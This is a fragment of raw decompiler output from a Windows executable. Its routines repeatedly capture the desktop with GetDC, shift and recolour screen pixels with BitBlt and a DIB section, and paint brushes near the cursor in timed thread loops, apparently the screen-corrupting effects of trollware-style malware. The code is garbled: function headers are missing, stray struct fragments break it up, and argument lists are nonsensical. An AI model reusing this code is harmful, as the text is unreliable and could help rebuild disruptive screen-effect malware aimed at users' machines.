esp505 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp503) - 4 - 4 - 4);
v457 = eax502;
v506 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp505) + 72);
v507 = esi501;
eax508 = reinterpret_cast<void**>(CreateDIBSection(ecx124, v507, v506));
v509 = eax508;
v510 = eax502;
v511 = eax508;
SelectObject(ecx124, v510, v509, v507, v506);
v512 = esi501;
v513 = g417280;
v514 = g417284;
v515 = reinterpret_cast<void**>(0);
v516 = reinterpret_cast<void**>(0);
v517 = eax502;
BitBlt(ecx124, v517, 0, 0);
esp518 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp505) - 4 - 4 - 4 + 4 - 4 -
4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4);
edi519 = g417280;
ebx456 = reinterpret_cast<void**>(0);
edi520 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edi519) *
reinterpret_cast<unsigned char>(g417284));
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edi520) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(edi520 == 0))) {
esi521 = 0;
do {
esi521 = esi521 + 3;
*reinterpret_cast<signed char*>(&edx498) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(&v514) + *reinterpret_cast<signed char*>(&ebx456));
++ebx456;
*reinterpret_cast<unsigned char*>(&ecx124) = reinterpret_cast<unsigned
char>(-*reinterpret_cast<signed char*>(&edx498));
*reinterpret_cast<unsigned char*>(esi521 - 1) = *reinterpret_cast<unsigned
char*>(&ecx124);
*reinterpret_cast<signed char*>(esi521 - 2) = reinterpret_cast<signed
char>(*reinterpret_cast<signed char*>(esi521 - 2) + 10);
*reinterpret_cast<signed char*>(esi521 - 3) = *reinterpret_cast<signed
char*>(&edx498);
} while (reinterpret_cast<signed char>(ebx456) < reinterpret_cast<signed
char>(edi520));
esi501 = v513;
}
*reinterpret_cast<void***>(edi520) = *reinterpret_cast<void***>(esi501);
esi522 = esi501 + 4;
eax523 = fun_40cc20(ecx124, v517, 0, 0);
__asm__("movd xmm1, dword [esp+0xc]");
__asm__("mulsd xmm0, [0x4137b0]");
__asm__("cvtdq2pd xmm1, xmm1");
v524 = g417280;
__asm__("addsd xmm0, xmm1");
v525 = g417284;
v526 = reinterpret_cast<void**>(0);
__asm__("cvttsd2si eax, xmm0");
v527 = esi522;
*reinterpret_cast<void***>(v512) = *reinterpret_cast<void***>(esi522);
edi528 = v512 + 4;
esi529 = esi522 + 4;
__asm__("addsd xmm0, [0x413798]");
*reinterpret_cast<void***>(edi528) = *reinterpret_cast<void***>(esi529);
edi479 = edi528 + 4;
esi478 = esi529 + 4;
BitBlt(ecx124, v527, 0);
v530 = esi478;
v531 = reinterpret_cast<void**>(0);
ReleaseDC(ecx124, 0, v530, v527, 0);
v532 = edi479;
DeleteDC(ecx124, v532, 0, v530, v527, 0);
v533 = reinterpret_cast<void**>(0);
DeleteObject(ecx124, 0, v532, 0, v530, v527, 0);
Sleep(ecx124, 30, 0, v532, 0, v530, v527, 0);
eax544 = fun_401580(ecx124, 30, 0, v532, 0, v530, v527, 0, 0, v525, v524, v512, 0, 0,
0xcc0020, v517, 0, 0, eax523, v513, v512, 0, 0, 0xcc0020, v510, v509, v507, v506, 0, v504, 0,
0, v511, 0, v455, v454, v453, v457, v534, v535, v536, v480, v481, v458, v537, v538, ecx124,
30, 0, v532, 0, v530, v527, 0, 0, v525, v524, v512, 0, 0, 0xcc0020, v517, 0, 0, eax523, v513,
v512, 0, 0, 0xcc0020, v510, v509, v507, v506, 0, v504, 0, 0, v511, 0, v455, v454, v453, v457,
v539, v540, v541, v480, v481, v458, v542, v543);
esp497 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp518) - 4 + 4 - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf545 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax544) <
reinterpret_cast<unsigned char>(0));
less_or_equal546 = reinterpret_cast<signed char>(edx498) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v525) + cf545);
cf547 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx498) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v525) + cf545));
edx498 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx498) -
(reinterpret_cast<unsigned char>(v525) + cf547));
} while (reinterpret_cast<signed char>(edx498) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf547)))) ||
less_or_equal546 && reinterpret_cast<unsigned
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(eax544))) <
reinterpret_cast<unsigned char>(v524));
}
ExitThread(ecx124, 0);
esp548 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp497) - 4 - 4 + 4 - 4);
v549 = ebp445;
ebp550 = esp548;
esp551 = reinterpret_cast<void*>((reinterpret_cast<unsigned char>(esp548) & 0xfffffff8) - 36);
eax552 = g416004;
v553 = reinterpret_cast<void**>(eax552 ^ reinterpret_cast<uint32_t>(esp551));
v554 = ebx456;
v555 = esi478;
v556 = edi479;
ebx557 = *reinterpret_cast<void***>(v455 + 12);
v558 = ebx557;
eax573 = fun_401580(ecx124, v556, v555, v554, 0xcc0020, v510, v558, v507, v506, 0, v504,
0, v553, v549, 0, v455, v454, v453, v457, v559, v560, v561, v480, v481, v458, v562, v563,
v564, v565, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0,
v422, v420, v417, ecx124, v556, v555, v554, 0xcc0020, v510, v558, v507, v506, 0, v504, 0,
v553, v549, 0, v455, v454, v453, v457, v566, v567, v568, v480, v481, v458, v569, v570, v571,
v572, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0, v422,
v420, v417);
esi574 = eax573;
edi575 = edx498;
v576 = esi574;
v577 = edi575;
eax592 = fun_401580(ecx124, v556, v555, v554, v576, v577, v558, v507, v506, 0, v504, 0,
v553, v549, 0, v455, v454, v453, v457, v578, v579, v580, v480, v481, v458, v581, v582, v583,
v584, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0, v422,
v420, v417, ecx124, v556, v555, v554, v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0,
v455, v454, v453, v457, v585, v586, v587, v480, v481, v458, v588, v589, v590, v591, 40, v450,
v452, 0x180001, 0x40272c, 1, 0, v407, v406, v405, 0, v448, v444, 0, v422, v420, v417);
esp593 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp551) - 4 - 4 - 4 - 4 + 4 - 4 +
4);
edx594 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx498) -
(reinterpret_cast<unsigned char>(edi575) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx498) < reinterpret_cast<unsigned
char>(reinterpret_cast<unsigned char>(edi575) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax592) < reinterpret_cast<unsigned
char>(esi574))))));
less595 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx594) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less595 | reinterpret_cast<uint1_t>(edx594 == 0)) && (less595 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax592) -
reinterpret_cast<unsigned char>(esi574)) < reinterpret_cast<unsigned char>(ebx557))) {
ebx557 = GetDC;
do {
esi574 = reinterpret_cast<void**>(0);
do {
eax596 = reinterpret_cast<void**>(ebx557(ecx124, 0));
esp597 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp593) - 4 - 4 + 4);
edi575 = eax596;
v558 = reinterpret_cast<void**>(20);
v598 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp597) + 24);
GetCursorInfo(ecx124, v598, 0);
eax599 = fun_402cf0(esi574, v598, 0, v556, v555, v554, v576, v577, 20, v507, v506,
esi574, v598, 0, v556, v555, v554, v576, v577, 20, v507, v506);
v515 = eax599;
eax600 = reinterpret_cast<void**>(CreateSolidBrush(esi574, v515, v598, 0));
v516 = eax600;
SelectObject(esi574, edi575, v516, v515, v598, 0);
ecx124 = v577;
v601 = ecx124 + 30;
v524 = edi575;
Rectangle();
Sleep(10);
v526 = reinterpret_cast<void**>(0);
ReleaseDC(0, edi575, 10);
esp593 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp597) - 4 - 4 + 4 - 4 +
4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4);
esi574 = esi574 + 2;
} while (reinterpret_cast<signed char>(esi574) < reinterpret_cast<signed char>(0x166));
v527 = reinterpret_cast<void**>(0x4029fe);
eax616 = fun_401580(ecx124, 0, edi575, 10, v524, ecx124, 20, v601, 50, edi575, v516,
v515, v598, 0, v556, v555, v554, v576, v577, 20, v507, v506, 0, v504, 0, v553, v549, 0, v455,
v454, v453, v457, v602, v603, v604, v480, v481, v458, v605, v606, v607, v608, 40, v450, v452,
0x180001, ecx124, 0, edi575, 10, v524, ecx124, 20, v601, 50, edi575, v516, v515, v598, 0,
v556, v555, v554, v576, v577, 20, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453,
v457, v609, v610, v611, v480, v481, v458, v612, v613, v614, v615, 40, v450, v452, 0x180001);
esp593 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp593) - 4 + 4);
cf617 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax616) <
reinterpret_cast<unsigned char>(v524));
cf618 = reinterpret_cast<uint1_t>(20 < reinterpret_cast<unsigned char>(ecx124) +
cf617);
edx594 = reinterpret_cast<void**>(20 - (reinterpret_cast<unsigned char>(ecx124) +
cf618));
} while (reinterpret_cast<signed char>(edx594) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf618)))) ||
reinterpret_cast<int32_t>(20) <= reinterpret_cast<int32_t>(reinterpret_cast<unsigned
char>(ecx124) + cf617) && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax616) - reinterpret_cast<unsigned char>(v524)) < reinterpret_cast<unsigned
char>(20));
}
ExitThread(ecx124, 0);
esp619 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp593) - 4 - 4 + 4 - 4);
v620 = ebp550;
ebp621 = esp619;
v622 = ebx557;
v623 = esi574;
v624 = edi575;
edi625 = *reinterpret_cast<void***>(v556 + 12);
v626 = edi625;
eax641 = fun_401580(ecx124, v624, v623, v622, v516, v515, v620, 0, v626, v555, v554,
v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v627, v628,
v629, v480, v481, v458, v630, v631, v632, v633, 40, v450, v452, 0x180001, 0x40272c, 1, 0,
v407, v406, v405, ecx124, v624, v623, v622, v516, v515, v620, 0, v626, v555, v554, v576,
v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v634, v635, v636,
v480, v481, v458, v637, v638, v639, v640, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407,
v406, v405);
ebx642 = eax641;
esi643 = edx594;
v644 = ebx642;
v645 = esi643;
eax660 = fun_401580(ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554,
v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v646, v647,
v648, v480, v481, v458, v649, v650, v651, v652, 40, v450, v452, 0x180001, 0x40272c, 1, 0,
v407, v406, v405, ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576,
v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v653, v654, v655,
v480, v481, v458, v656, v657, v658, v659, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407,
v406, v405);
esp661 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp619 - 8) - 4 - 4 - 4 - 4 + 4 - 4
+ 4);
edx662 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx594) -
(reinterpret_cast<unsigned char>(esi643) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned
char>(edx594) < reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(esi643) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax660) < reinterpret_cast<unsigned
char>(ebx642))))));
less663 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx662) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less663 | reinterpret_cast<uint1_t>(edx662 == 0)) && (less663 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax660) -
reinterpret_cast<unsigned char>(ebx642)) < reinterpret_cast<unsigned char>(edi625))) {
ebx642 = BitBlt;
do {
esi643 = reinterpret_cast<void**>(0);
less_or_equal664 = reinterpret_cast<signed char>(g417280) <= reinterpret_cast<signed
char>(0);
if (!less_or_equal664) {
do {
eax665 = reinterpret_cast<void**>(GetDC(ecx124, 0));
v524 = esi643;
v526 = reinterpret_cast<void**>(50);
v527 = g417284;
v530 = esi643;
v531 = reinterpret_cast<void**>(10);
v532 = eax665;
ebx642(ecx124, v532, 10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
v533 = reinterpret_cast<void**>(0xcc0020);
esi666 = esi643 + 50;
v667 = g417284;
v668 = esi666;
v669 = eax665;
ebx642(ecx124, v669, 0xf6, v668, v667, 50, eax665, 0, esi666, 0xcc0020, v532,
10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
v670 = eax665;
ReleaseDC(ecx124, 0, v670, v669, 0xf6, v668, v667, 50, eax665, 0, esi666,
0xcc0020, v532, 10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
Sleep(ecx124, 10, 0, v670, v669, 0xf6, v668, v667, 50, eax665, 0, esi666,
0xcc0020, v532, 10, v530, v527, 50, eax665, 0, v524, 0xcc0020, 0);
esp661 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp661) - 4 - 4 + 4 - 4
- 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4);
esi643 = esi666 + 50;
less671 = reinterpret_cast<signed char>(esi643) < reinterpret_cast<signed
char>(g417280);
} while (less671);
edi625 = v626;
}
eax686 = fun_401580(ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554,
v576, v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v672, v673,
v674, v480, v481, v458, v675, v676, v677, v678, 40, v450, v452, 0x180001, 0x40272c, 1, 0,
v407, v406, v405, ecx124, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576,
v577, v558, v507, v506, 0, v504, 0, v553, v549, 0, v455, v454, v453, v457, v679, v680, v681,
v480, v481, v458, v682, v683, v684, v685, 40, v450, v452, 0x180001, 0x40272c, 1, 0, v407,
v406, v405);
esp661 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp661) - 4 + 4);
cf687 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax686) <
reinterpret_cast<unsigned char>(v644));
less_or_equal688 = reinterpret_cast<signed char>(edx662) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(v645) + cf687);
cf689 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx662) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v645) + cf687));
edx662 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx662) -
(reinterpret_cast<unsigned char>(v645) + cf689));
} while (reinterpret_cast<signed char>(edx662) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf689)))) ||
less_or_equal688 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax686) - reinterpret_cast<unsigned char>(v644)) < reinterpret_cast<unsigned
char>(edi625));
}
ExitThread(ecx124, 0);
esp690 = reinterpret_cast<void*>((reinterpret_cast<uint32_t>(esp661) - 4 - 4 + 4 - 4 &
0xfffffff8) - 92);
eax691 = g416004;
v692 = reinterpret_cast<void**>(eax691 ^ reinterpret_cast<uint32_t>(esp690));
eax693 = g417284;
__asm__("xorps xmm0, xmm0");
eax694 = g417280;
v695 = ebx642;
v696 = esi643;
v697 = edi625;
ebx698 = *reinterpret_cast<void***>(v624 + 12);
edi699 = reinterpret_cast<void**>(0);
__asm__("movups [esp+0x48], xmm0");
__asm__("movq [esp+0x58], xmm0");
v700 = ebx698;
eax707 = fun_401580(ecx124, v697, v696, v695, v701, v702, v703, 0x402abc, 10, 0, v670,
v669, v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0,
v692, v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577,
v558, v507, v506, 0, ecx124, v697, v696, v695, v704, v705, v706, 0x402abc, 10, 0, v670, v669,
v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0, v692,
v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577, v558,
v507, v506, 0);
v708 = edx662;
v709 = eax707;
eax714 = fun_401580(ecx124, v697, v696, v695, v710, v711, v708, 0x402abc, 10, 0, v670,
v709, v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0,
v692, v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577,
v558, v507, v506, 0, ecx124, v697, v696, v695, v712, v713, v708, 0x402abc, 10, 0, v670, v709,
v700, v668, v667, 40, eax693, eax694, 0x180001, v533, v532, v531, v530, v527, v526, 0, v692,
v524, ebp621, 0, v624, v623, v622, v645, v644, v620, 0, v626, v555, v554, v576, v577, v558,
v507, v506, 0);
esp715 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp690) - 4 - 4 - 4 - 4 + 4 - 4 +
4);
edx716 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx662) -
(reinterpret_cast<unsigned char>(v708) + reinterpret_cast<uint1_t>(reinterpret_cast<unsigned
char>(edx662) < reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(v708) +
reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax714) < reinterpret_cast<unsigned
char>(eax707))))));
less717 = reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(edx716) <
reinterpret_cast<signed char>(0));
if (reinterpret_cast<uint1_t>(less717 | reinterpret_cast<uint1_t>(edx716 == 0)) && (less717 ||
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(eax714) -
reinterpret_cast<unsigned char>(eax707)) < reinterpret_cast<unsigned char>(ebx698))) {
do {
eax718 = reinterpret_cast<void**>(GetDC(ecx124, 0, v697, v696, v695));
ebx719 = eax718;
v720 = ebx719;
eax721 = reinterpret_cast<void**>(CreateCompatibleDC(ecx124, v720, 0, v697, v696,
v695));
esp722 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp715) - 4 - 4 + 4 - 4 - 4 +
4 - 4);
esi723 = eax721;
v724 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp722) + 56);
esp725 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp722) - 4 - 4 - 4);
v726 = esi723;
v727 = reinterpret_cast<void**>(reinterpret_cast<uint32_t>(esp725) + 72);
v728 = ebx719;
eax729 = reinterpret_cast<void**>(CreateDIBSection(ecx124, v728, v727));
v730 = eax729;
v731 = esi723;
v696 = eax729;
SelectObject(ecx124, v731, v730, v728, v727);
v732 = reinterpret_cast<void**>(0);
v733 = ebx719;
v734 = g417280;
v735 = g417284;
v736 = esi723;
BitBlt(ecx124, v736, 0, 0, v735, v734, v733, 0);
esp737 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp725) - 4 - 4 - 4 + 4 - 4 -
4 - 4 + 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 - 4 + 4);
eax738 = g417280;
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(eax738) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(eax738 == 0))) {
eax739 = g417284;
ecx124 = reinterpret_cast<void**>(0);
v735 = reinterpret_cast<void**>(0);
v732 = eax739 + reinterpret_cast<unsigned char>(eax739) * 2;
edx716 = g417280;
v734 = edx716;
do {
if (!(reinterpret_cast<uint1_t>(reinterpret_cast<signed char>(eax739) <
reinterpret_cast<signed char>(0)) | reinterpret_cast<uint1_t>(eax739 == 0))) {
esi740 = ecx124;
ebx741 = eax739;
do {
eax742 = fun_402e30(edi699, reinterpret_cast<uint32_t>(esp737) + 48, v736,
0, 0);
esp737 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp737) - 4 - 4 +
4 + 4);
esi740 = esi740 + 3;
dl743 = eax742->f2;
*reinterpret_cast<void***>(esi740 + 0xfffffffd) = eax742->f0;
*reinterpret_cast<void***>(esi740 + 0xffffffff) = dl743;
--ebx741;
} while (ebx741);
ecx124 = v735;
edx716 = v734;
}
eax744 = edi699 + 2;
edi699 = reinterpret_cast<void**>(0);
if (reinterpret_cast<signed char>(eax744) < reinterpret_cast<signed char>(0x166))
{
edi699 = eax744;
}
ecx124 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(ecx124) +
reinterpret_cast<unsigned char>(v732));
eax739 = g417284;
--edx716;
v735 = ecx124;
v734 = edx716;
} while (edx716);
ebx719 = reinterpret_cast<void**>(0);
esi723 = reinterpret_cast<void**>(0xcc0020);
eax738 = g417280;
}
v745 = g417284;
BitBlt(ecx124);
ReleaseDC(ecx124, 0, ebx719);
DeleteDC(ecx124, esi723, 0, ebx719);
DeleteObject(ecx124, esi723, esi723, 0, ebx719);
Sleep(ecx124, 10, esi723, esi723, 0, ebx719);
eax750 = fun_401580(ecx124, 10, esi723, esi723, 0, ebx719, ebx719, 0, 0, v745,
eax738, esi723, 0, 0, 0xcc0020, v736, 0, 0, v735, v734, v733, v732, 0, 0xcc0020, v731, v730,
v728, v727, 0, v724, 0, 0, v720, 0, v697, v696, v695, v746, v747, v708, v726, 10, 0, v670, v709,
v700, ecx124, 10, esi723, esi723, 0, ebx719, ebx719, 0, 0, v745, eax738, esi723, 0, 0,
0xcc0020, v736, 0, 0, v735, v734, v733, v732, 0, 0xcc0020, v731, v730, v728, v727, 0, v724, 0,
0, v720, 0, v697, v696, v695, v748, v749, v708, v726, 10, 0, v670, v709, v700);
esp715 = reinterpret_cast<void*>(reinterpret_cast<uint32_t>(esp737) - 4 - 4 - 4 - 4 - 4 -
4 - 4 - 4 - 4 - 4 + 4 - 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 - 4 + 4 - 4 + 4);
cf751 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(eax750) <
reinterpret_cast<unsigned char>(esi723));
less_or_equal752 = reinterpret_cast<signed char>(edx716) <= reinterpret_cast<signed
char>(reinterpret_cast<unsigned char>(ebx719) + cf751);
cf753 = reinterpret_cast<uint1_t>(reinterpret_cast<unsigned char>(edx716) <
reinterpret_cast<unsigned char>(reinterpret_cast<unsigned char>(ebx719) + cf751));
edx716 = reinterpret_cast<void**>(reinterpret_cast<unsigned char>(edx716) -
(reinterpret_cast<unsigned char>(ebx719) + cf753));
} while (reinterpret_cast<signed char>(edx716) < reinterpret_cast<signed
char>(static_cast<uint32_t>(reinterpret_cast<unsigned char>(static_cast<uint32_t>(cf753)))) ||
less_or_equal752 && reinterpret_cast<unsigned char>(reinterpret_cast<unsigned
char>(eax750) - reinterpret_cast<unsigned char>(esi723)) < reinterpret_cast<unsigned
char>(0));
}
ExitThread(ecx124, 0, v697, v696, v695);
}
int32_t fun_403478() {
int32_t ecx1;
int32_t ebp2;
ecx1 = 0;
*reinterpret_cast<unsigned char*>(&ecx1) =
reinterpret_cast<uint1_t>(***reinterpret_cast<int32_t***>(ebp2 - 20) == 0xc0000005);
return ecx1;
}
void fun_403871() {
int32_t* esi1;
int32_t edi2;
esi1 = reinterpret_cast<int32_t*>(0x41485c);
if (!1) {
do {
edi2 = *esi1;
if (edi2) {
image_base_(edi2);
edi2(edi2);
}
++esi1;
} while (reinterpret_cast<uint32_t>(esi1) < 0x41485c);
}
return;
}
struct s155 {
signed char[12] pad12;
void** fc;
};
v3 = ebp4->fc;
v5 = *reinterpret_cast<void***>(ebp6 - 20);
eax7 = fun_403b8f(ecx, v5, v3, __return_address(), a2);
return eax7;
}
/* (image base) */
int32_t image_base_ = 0x403ae1;
v5 = ebx6;
v7 = esi8;
v9 = edi10;
v11 = 0;
v12 = *reinterpret_cast<void***>(a2);
v13 = 1;
eax14 = fun_40cb70(ecx, v12);
*reinterpret_cast<void***>(a2) = eax14;
esi15 = a3 + 16;
eax16 = reinterpret_cast<void**>(reinterpret_cast<unsigned
char>(*reinterpret_cast<void***>(a3 + 8)) ^ g416004);
v17 = esi15;
v18 = eax16;
fun_403c00(ecx, eax16, esi15, v12);
fun_404050(a4, eax16, esi15, v12);
edi19 = *reinterpret_cast<void***>(a3 + 12);
if (reinterpret_cast<unsigned char>(*reinterpret_cast<void***>(a2 + 4)) & 0x66) {
if (edi19 == 0xfffffffe) {
addr_403d10_3:
return v13;
} else {
ecx20 = a3;
fun_4041d0(ecx20, esi15, 0x416004);
}
} else {
v21 = a2;
v22 = a4;
*reinterpret_cast<void**>(a3 + 0xfffffffc) =
reinterpret_cast<void*>(reinterpret_cast<int32_t>(__zero_stack_offset()) - 4 - 28);
if (edi19 == 0xfffffffe)
goto addr_403d10_3;
do {
eax23 = reinterpret_cast<void***>(edi19 + reinterpret_cast<unsigned char>(edi19 + 2) *
2);
ebx24 = *reinterpret_cast<void***>(v18 + reinterpret_cast<uint32_t>(eax23) * 4);
eax25 = reinterpret_cast<struct s17*>(v18 + reinterpret_cast<uint32_t>(eax23) * 4);
ecx20 = eax25->f4;
if (!ecx20) {
*reinterpret_cast<signed char*>(&ecx20) = v11;
} else {
eax26 = fun_404170(ecx20);
*reinterpret_cast<signed char*>(&ecx20) = 1;
v11 = 1;
sf27 = eax26 < 0;
if (sf27)
goto addr_403ce4_9;
if (!reinterpret_cast<uint1_t>(reinterpret_cast<uint1_t>(sf27) |
reinterpret_cast<uint1_t>(eax26 == 0)))
goto addr_403d1a_11;
}
edi19 = ebx24;
} while (!reinterpret_cast<int1_t>(ebx24 == 0xfffffffe));
goto addr_403cde_14;
}
addr_403d04_15:
fun_403c00(ecx20, v18, esi15, v9);
goto addr_403d10_3;
addr_403cde_14:
if (!*reinterpret_cast<signed char*>(&ecx20))
goto addr_403d10_3;
goto addr_403d04_15;
addr_403ce4_9:
v13 = 0;
goto addr_403d04_15;
addr_403d1a_11:
if (reinterpret_cast<int1_t>(*reinterpret_cast<void***>(a2) == 0xe06d7363) && (zf28 =
image_base_ == 0, !zf28)) {
eax29 = fun_40c8d0(0x40e228);
if (eax29) {
esi30 = image_base_;
image_base_(esi30, a2, 1);
esi30(esi30, a2, 1);
esi15 = v17;
}
}
ecx31 = a3;
fun_4041b0(ecx31);
eax32 = a3;
if (*reinterpret_cast<void***>(eax32 + 12) != edi19) {
ecx31 = eax32;
fun_4041d0(ecx31, esi15, 0x416004);
eax32 = a3;
}
*reinterpret_cast<void***>(eax32 + 12) = ebx24;
fun_403c00(ecx31, v18, esi15, v9);
ecx33 = eax25->f8;
fun_404190(ecx33, v9, v7, v5, v21, v22, eax25);
}
v3 = reinterpret_cast<int32_t>(__return_address());
if (a2 && a2 != 0x416aec) {
fun_405d10(ecx, a2, ebp4, *reinterpret_cast<void***>(&v3));
}
return;
}
void fun_4048eb() {
goto 0x4048f0;
}
void** fun_4051fa(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** eax9;
int1_t zf10;
void** ebp11;
eax9 = *reinterpret_cast<void***>(a2);
zf10 = eax9 == g416db0;
if (!zf10) {
eax9 = fun_40518b(ecx, eax9, ebp11, __return_address(), a2, a3, a4, a5, a6, a7, a8);
}
return eax9;
}
void** fun_405215(void** ecx, void** a2, void** a3, void** a4, void** a5, void** a6, void** a7,
void** a8) {
void** eax9;
int1_t zf10;
void** ebp11;
eax9 = *reinterpret_cast<void***>(a2);
zf10 = eax9 == g416dac;
if (!zf10) {
eax9 = fun_40518b(ecx, eax9, ebp11, __return_address(), a2, a3, a4, a5, a6, a7, a8);
}
return eax9;
}
struct s156 {
int32_t f0;
void** f4;
signed char[3] pad8;
void** f8;
signed char[3] pad12;
void** fc;
signed char[3] pad16;
void** f10;
signed char[3] pad20;
void** f14;
signed char[3] pad24;
void** f18;
signed char[3] pad28;
void** f1c;
signed char[3] pad32;
void** f20;
};
esp2 = reinterpret_cast<struct
s156*>(reinterpret_cast<int32_t>(*reinterpret_cast<void**>(ebp3 - 24)) - 4);
esp2->f0 = 0x40546d;
fun_405c91(ecx, esp2->f4, esp2->f8, esp2->fc, esp2->f10, esp2->f14, esp2->f18, esp2->f1c,
esp2->f20);
}
int32_t fun_405cb9() {
return 1;
}
void fun_405e1b() {
goto 0x405e20;
}
void fun_407f2f() {
}
void fun_408c7d() {
int32_t eax1;
